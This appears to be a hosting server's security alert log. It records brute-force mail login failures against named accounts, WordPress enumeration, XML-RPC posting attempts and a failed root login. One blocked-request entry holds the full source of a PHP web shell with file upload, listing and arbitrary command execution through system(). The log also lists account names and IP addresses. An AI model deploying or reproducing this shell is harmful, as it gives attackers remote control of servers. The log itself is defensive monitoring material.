2026-07-12 09:20:43 dovecot_login authenticator failed for H=([120.224.242.78]) [38.141.252.55]:60102: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.63.25.4
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.150.241.128
country_id: 2921044
description:
2026-07-12 09:28:47 dovecot_login authenticator failed for H=p5796f180.dip0.t-ipconnect.de (77x106x78x215.dynamic.barnaul.ertelecom.ru) [87.150.241.128]:63840: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.178.196
country_id: 6252001
description:
2026-07-12 09:28:57 dovecot_login authenticator failed for H=ool-4573b2c4.dyn.optonline.net ([67.201.39.9]) [69.115.178.196]:41166: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 198.186.130.10
country_id: 2921044
domain: keralapeople.com
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:keralapeople||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.124
country_id: 1668284
description:
2026-07-12 09:33:43 dovecot_login authenticator failed for H=111-70-29-124.emome-ip.hinet.net ([68.71.251.130]) [111.70.29.124]:45309: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.38.54
country_id: 1668284
description:
2026-07-12 09:35:18 dovecot_login authenticator failed for H=111-70-38-54.emome-ip.hinet.net ([117.191.83.250]) [111.70.38.54]:33421: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-12 09:35:55 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net (mx-ll-171.6.10-57.dynamic.3bb.in.th) [110.25.109.54]:52197: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-12 09:37:18 dovecot_login authenticator failed for H=(122-116-225-114.hinet-ip.hinet.net) [78.197.6.173]:59536: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-12 09:37:51 dovecot_login authenticator failed for H=(static.vnpt.vn) [61.37.150.6]:14232: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 62.60.130.227
country_id: 130758
domain: ibmcglobal.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.28||T:APACHE||REQUEST_URI:/wp-content/plugins/updraftplus/readme.txt||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.226.139
country_id: 1835841
description:
2026-07-12 09:49:53 dovecot_login authenticator failed for H=([174.75.211.198]) [218.150.226.139]:56794: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.195
country_id: 1733045
description:
2026-07-12 09:50:08 dovecot_login authenticator failed for H=([174.75.211.204]) [49.124.148.195]:39428: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.227.211.82
country_id: 1269750
description:
2026-07-12 09:49:50 dovecot_login authenticator failed for H=(host.46-183-135-88.broadband.redcom.ru) [110.227.211.82]:48278: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.109.73.135
country_id: 1835841
description:
2026-07-12 09:50:17 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [222.109.73.135]:38817: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.61.199.212
country_id: 6252001
description:
2026-07-12 09:52:25 dovecot_plain authenticator failed for H=c-24-61-199-212.hsd1.ct.comcast.net (sementiost) [24.61.199.212]:53514: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-12 09:53:01 dovecot_login authenticator failed for H=(164.124.222.222.broad.lf.he.dynamic.163data.com.cn) [125.23.255.134]:45434: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.114
country_id: 6252001
description:
2026-07-12 09:53:29 dovecot_login authenticator failed for H=wsip-72-215-46-114.pn.at.cox.net ([192.252.208.66]) [72.215.46.114]:51362: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-12 09:53:46 dovecot_login authenticator failed for H=([222.90.233.165]) [14.46.58.104]:55566: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.98.104.138
country_id: 1562822
description:
2026-07-12 10:02:03 dovecot_login authenticator failed for H=([112.186.203.10]) [116.98.104.138]:38710: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.153.187.49
country_id: 1835841
description:
2026-07-12 10:04:11 dovecot_login authenticator failed for H=(111-70-14-135.emome-ip.hinet.net) [124.153.187.49]:50228: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.124.111.122
country_id: 2077456
description:
2026-07-12 10:03:48 dovecot_login authenticator failed for H=27-124-111-122.static.as58511.net (nsg-static-16.107.76.182-airtel.com) [27.124.111.122]:42209: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-12 10:04:25 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net ([190.57.233.133]) [111.70.34.21]:45946: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-12 10:05:49 dovecot_login authenticator failed for H=([184.185.2.1]) [197.219.208.58]:44272: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.105.15.219
country_id: 6252001
description:
2026-07-12 10:05:27 dovecot_login authenticator failed for H=([49.124.153.8]) [174.105.15.219]:56068: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.94.66
country_id: 1269750
description:
2026-07-12 10:05:44 dovecot_login authenticator failed for H=([103.148.206.98]) [27.123.94.66]:43300: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-12 10:05:37 dovecot_login authenticator failed for H=(mission-web-hosting.com) [106.201.237.208]:32926: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.2.228.48
country_id: 597427
description:
2026-07-12 10:06:32 dovecot_login authenticator failed for H=static-185-2-228-48.cust.tele2.lt ([98.182.171.163]) [185.2.228.48]:45814: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.1.66.154
country_id: 1694008
description:
2026-07-12 10:08:59 dovecot_login authenticator failed for H=(ge-eth1-vlan1188.fw01.1739.la3.fusionsystems.ml.zerolag.com) [210.1.66.154]:57150: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.57.39.170
country_id: 6252001
description:
2026-07-12 10:09:53 dovecot_login authenticator failed for H=([116.232.22.43]) [184.57.39.170]:52561: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.109.136
country_id: 660013
description:
2026-07-12 10:09:25 dovecot_login authenticator failed for H=([192.111.137.33]) [45.82.109.136]:49596: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-12 10:13:15 dovecot_login authenticator failed for H=([103.104.127.49]) [65.20.153.146]:59629: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-12 10:14:20 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net ([64.53.7.231]) [111.70.22.153]:47480: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 45.170.224.170
country_id: 3617476
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:33180.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:de1137616d46446ad725767d2d8e8326bcf8f1b0||Title:0xbbea0199||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-12 10:17:16 dovecot_login authenticator failed for H=([68.71.247.133]) [65.20.202.4]:41030: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.229.1.186
country_id: 6252001
description:
2026-07-12 10:18:02 dovecot_login authenticator failed for H=c-71-229-1-186.hsd1.al.comcast.net ([41.65.118.172]) [71.229.1.186]:41342: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-12 10:17:48 dovecot_login authenticator failed for H=([72.205.0.69]) [182.95.150.106]:53362: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-07-12 10:18:53 dovecot_login authenticator failed for H=(d-23-244-232-117.wv.cpe.atlanticbb.net) [49.206.201.253]:34926: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-12 10:27:48 dovecot_login authenticator failed for H=([61.177.36.109]) [182.95.106.138]:47926: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.128.181.196
country_id: 357994
description:
2026-07-12 10:28:00 dovecot_login authenticator failed for H=([83.239.84.130]) [41.128.181.196]:57050: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-12 10:29:07 dovecot_login authenticator failed for H=(40.red-81-42-225.staticip.rima-tde.net) [65.20.134.97]:37301: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-12 10:28:46 dovecot_login authenticator failed for H=([85.117.232.42]) [182.78.86.62]:34264: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.165.43.202
country_id: 1269750
description:
2026-07-12 10:30:29 dovecot_plain authenticator failed for H=(abanills) [122.165.43.202]:58522: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.141.202
country_id: 99237
description:
2026-07-12 10:30:36 dovecot_login authenticator failed for H=([110.45.150.219]) [65.20.141.202]:55886: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.65.214
country_id: 6252001
description:
2026-07-12 10:31:10 dovecot_login authenticator failed for H=syn-075-080-065-214.biz.spectrum.com ([125.72.150.250]) [75.80.65.214]:56893: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-12 10:30:53 dovecot_login authenticator failed for H=([49.124.149.213]) [65.20.134.97]:41981: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.116.75.51
country_id: 6252001
description:
2026-07-12 10:31:55 dovecot_login authenticator failed for H=(18776239145.telemar.net.br) [103.116.75.51]:47366: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-12 10:31:25 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([84.49.129.193]) [77.53.193.47]:58878: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-12 10:39:55 dovecot_login authenticator failed for H=([72.206.74.97]) [101.13.5.63]:39776: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-12 10:40:41 dovecot_login authenticator failed for H=([220.124.246.216]) [106.201.237.208]:46290: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.3.122
country_id: 1668284
description:
2026-07-12 10:42:07 dovecot_login authenticator failed for H=111-70-3-122.emome-ip.hinet.net ([106.248.238.187]) [111.70.3.122]:49003: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-12 10:42:35 dovecot_login authenticator failed for H=([60.223.245.120]) [106.247.22.181]:58061: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-12 10:43:40 dovecot_login authenticator failed for H=(81-236-211-54-no2550.tbcn.telia.com) [78.187.9.111]:54718: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.218.109.180
country_id: 1668284
description:
2026-07-12 10:43:52 dovecot_login authenticator failed for H=([49.124.153.59]) [180.218.109.180]:55006: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-12 10:44:21 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee ([93.95.241.150]) [85.29.246.199]:60066: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 112.215.221.94
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.28||T:APACHE||SC:/home/fefkadirectors/public_html/||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 112.215.221.94
country_id: 1643084
domain: fefkadirectorsunion.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n/**\n * XB33 Uploader Shell \xc3\xa2\xe2\x82\xac\xe2\x80\x9d CVE-2026-49049 Stage 1\n * Upload this as .json \xc3\xa2\xe2\x80\xa0\xe2\x80\x99 if PHP executes, upload real .php shell\n * Usage: ?k=b33              HTML uploader UI\n *        ?k=b33&f=upload     POST file upload (API)\n *        ?k=b33&f=list       list files (API)\n *        ?k=b33&f=info       server info (API)\n */\nif(isset($_GET['k']) && $_GET['k']=='b33'){\n    $act = $_GET['f'] ?? '';\n    if($act=='upload' && $_SERVER['REQUEST_METHOD']=='POST'){\n        @header('Content-Type: text/plain');\n        $f = $_FILES['file'] ?? null;\n        if($f && $f['error']==0){\n            $n = basename($f['name']);\n            $d = __DIR__ . '/' . $n;\n            if(move_uploaded_file($f['tmp_name'], $d)){\n                echo \"OK:{$n}:\" . filesize($d);\n            } else {\n                echo \"FAIL:move\";\n            }\n        } else {\n            echo \"FAIL:no_file\";\n        }\n        exit;\n    }\n    if($act=='list'){\n        @header('Content-Type: text/plain');\n        $files = glob(__DIR__ . '/*.{php,phtml,phar,php5,php7,php8,json}', GLOB_BRACE);\n        foreach($files as $f) echo basename($f) . ':' . filesize($f) . \"\\n\";\n        exit;\n    }\n    if($act=='info'){\n        @header('Content-Type: text/plain');\n        echo \"PHP:\" . phpversion() . \"\\n\";\n        echo \"DIR:\" . __DIR__ . \"\\n\";\n        echo \"USER:\" . (function_exists('get_current_user') ? get_current_user() : '?') . \"\\n\";\n        echo \"SERVER:\" . ($_SERVER['SERVER_SOFTWARE'] ?? '?') . \"\\n\";\n        echo \"SAPI:\" . php_sapi_name() . \"\\n\";\n        exit;\n    }\n    if($act=='exec'){\n        @header('Content-Type: text/plain');\n        $c = $_GET['c'] ?? '';\n        if($c){\n            echo \"START\\n\";\n            system($c);\n            echo \"\\nEND\";\n        } else {\n            echo \"no cmd\";\n        }\n        exit;\n    }\n    @header('Content-Type: text/html; charset=utf-8');\n    $dir = __DIR__;\n    $me = basename(__FILE__);\n    $info = @phpversion() . ' | ' . php_sapi_name() . ' | ' . (function_exists('get_current_user') ? get_current_user() : '?');\n    echo <<<HTML\n<!DOCTYPE html>\n<html>\n<head><title>XB33</title>\n<style>\n*{margin:0;padding:0;box-sizing:border-box}\nbody{background:#0a0a0a;color:#0f0;font-family:'Courier New',monospace;padding:20px}\nh1{font-size:18px;margin-bottom:10px;border-bottom:1px solid #0f0;padding-bottom:8px}\n.info{color:#888;font-size:12px;margin-bottom:15px}\n.box{border:1px solid #0f0;padding:15px;margin-bottom:15px}\n.box h2{font-size:14px;margin-bottom:10px;color:#0f0}\ninput[type=file]{color:#0f0;background:#111;border:1px solid #0f0;padding:5px}\ninput[type=submit]{background:#0f0;color:#000;border:none;padding:8px 20px;cursor:pointer;font-weight:bold;font-family:inherit}\ninput[type=submit]:hover{background:#0a0}\npre{background:#111;padding:10px;overflow:auto;max-height:300px;font-size:12px;border:1px solid #333}\n.btn{display:inline-block;background:#111;color:#0f0;border:1px solid #0f0;padding:5px 12px;cursor:pointer;margin:3px;text-decoration:none;font-size:12px}\n.btn:hover{background:#0f0;color:#000}\n#result{margin-top:10px}\n</style>\n</head>\n<body>\n<h1>[XB33] Uploader</h1>\n<div class=\"info\">{$info} | {$dir}</div>\n\n<div class=\"box\">\n<h2>Upload</h2>\n<form method=\"POST\" enctype=\"multipart/form-data\" action=\"?k=b33&f=upload\" target=\"r\">\n<input type=\"file\" name=\"file\" id=\"fu\">\n<input type=\"submit\" value=\"Upload\">\n</form>\n</div>\n\n<div class=\"box\">\n<h2>Actions</h2>\n<a class=\"btn\" onclick=\"api('list')\">List Files</a>\n<a class=\"btn\" onclick=\"api('info')\">Server Info</a>\n<a class=\"btn\" onclick=\"api('cmd')\">Exec Cmd</a>\n</div>\n\n<div class=\"box\">\n<h2>Result</h2>\n<iframe name=\"r\" style=\"display:none\" onload=\"document.getElementById('result').textContent=this.contentDocument.body.textContent\"></iframe>\n<pre id=\"result\">Ready.</pre>\n</div>\n\n<script>\nfunction api(act){\n    if(act=='cmd'){\n        var c=prompt('Command:');\n        if(!c)return;\n        var x=new XMLHttpRequest();\n        x.open('GET','?k=b33&f=exec&c='+encodeURIComponent(c));\n        x.onload=function(){document.getElementById('result').textContent=x.responseText};\n        x.send();\n        return;\n    }\n    var x=new XMLHttpRequest();\n    x.open('GET','?k=b33&f='+act);\n    x.onload=function(){document.getElementById('result').textContent=x.responseText};\n    x.send();\n}\n</script>\n</body>\n</html>\nHTML;\n    exit;\n}\n||MVN:ARGS:data[content]||RSV:8.28||T:APACHE||SC:/home/fefkadirectors/public_html/||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.94.238.133
country_id: 1835841
description:
2026-07-12 10:44:42 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [220.94.238.133]:33752: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.252.96.146
country_id: 1835841
description:
2026-07-12 10:44:28 dovecot_login authenticator failed for H=(host-109-174-104-74.bb-nsk.sib.mts.ru) [211.252.96.146]:39109: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-12 10:45:23 dovecot_login authenticator failed for H=(62-20-205-17-no2360.tbcn.telia.com) [61.1.105.105]:44082: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.231.172
country_id: 1269750
description:
2026-07-12 10:46:48 dovecot_login authenticator failed for H=([61.169.54.150]) [122.187.231.172]:41956: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-12 10:46:30 dovecot_login authenticator failed for H=([27.115.113.138]) [183.104.220.84]:46132: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-12 10:51:52 dovecot_login authenticator failed for H=([182.95.217.202]) [211.116.107.222]:51655: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-12 10:51:27 dovecot_login authenticator failed for H=([61.1.105.105]) [1.227.228.131]:45197: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-12 10:58:13 dovecot_login authenticator failed for H=(ip-104-37-133-100.hosts.zerolag.com) [217.29.30.135]:48181: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.147.115
country_id: 1733045
description:
2026-07-12 10:58:56 dovecot_login authenticator failed for H=([197.219.228.246]) [49.124.147.115]:52904: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.1.51.168
country_id: 2635167
description:
2026-07-12 11:02:06 dovecot_login authenticator failed for H=oldh-13-b2-v4wan-171191-cust935.vm18.cable.virginm.net ([49.124.153.35]) [80.1.51.168]:47966: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-12 11:02:59 dovecot_login authenticator failed for H=([72.214.108.73]) [183.104.220.152]:44996: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.73
country_id: 1733045
description:
2026-07-12 11:03:19 dovecot_login authenticator failed for H=([115.94.121.82]) [49.125.201.73]:60492: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 42.60.197.188
country_id: 1880251
domain: jaashsupplies.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:93597.jaashsupplies.com||ServerName:jaashsupplies.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3fd1fb15a412448274cfb40889ccc102aba030ba||Title:0x64a0ed45||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.191.31.44
country_id: 3996063
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es55-pair?Itemid=101&catid=18 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-12 11:07:13 dovecot_login authenticator failed for H=([117.252.93.114]) [220.235.225.112]:46289: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.25
country_id: 1668284
description:
2026-07-12 11:24:48 dovecot_login authenticator failed for H=221-120-73-25.emome-ip.hinet.net ([172.191.74.151]) [221.120.73.25]:36352: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-12 11:31:02 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net (nsg-corporate-153.124.186.122.airtel.in) [65.73.230.102]:33144: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-12 11:31:15 dovecot_login authenticator failed for H=([49.124.148.195]) [205.250.25.62]:47444: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.147.128.238
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:142.147.128.238||TA:142.147.128.238||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 142.111.98.184
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:142.111.98.184||TA:142.111.98.184||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 213.169.215.55
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.28||T:APACHE||RA:213.169.215.55||TA:213.169.215.55||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.108.161
country_id: 1668284
description:
2026-07-12 11:33:31 dovecot_login authenticator failed for H=110-25-108-161.adsl.fetnet.net ([220.179.255.54]) [110.25.108.161]:56645: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.79.59.1
country_id: 878675
description:
2026-07-12 11:36:14 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [41.79.59.1]:5667: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.70.26
country_id: 294640
description:
2026-07-12 11:36:22 dovecot_login authenticator failed for H=(abts-mum-static-195.99.170.122.airtelbroadband.in) [2.55.70.26]:34500: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-12 11:36:37 dovecot_login authenticator failed for H=(est.giport.ru) [114.30.223.119]:60473: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-12 11:39:22 dovecot_login authenticator failed for H=([121.131.220.136]) [122.176.45.238]:59587: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-12 11:42:07 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.59.160.213
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.28||T:APACHE||SC:/home/globalgroupoman/public_html/component||User:globalgroupoman||WPU:||


plugin: modsec
rule: 77211080
name: IM360 WAF: HTTP Response Splitting Attack
abuser: 103.59.160.213
country_id: 1643084
domain: www.globalgroupoman.com
description:
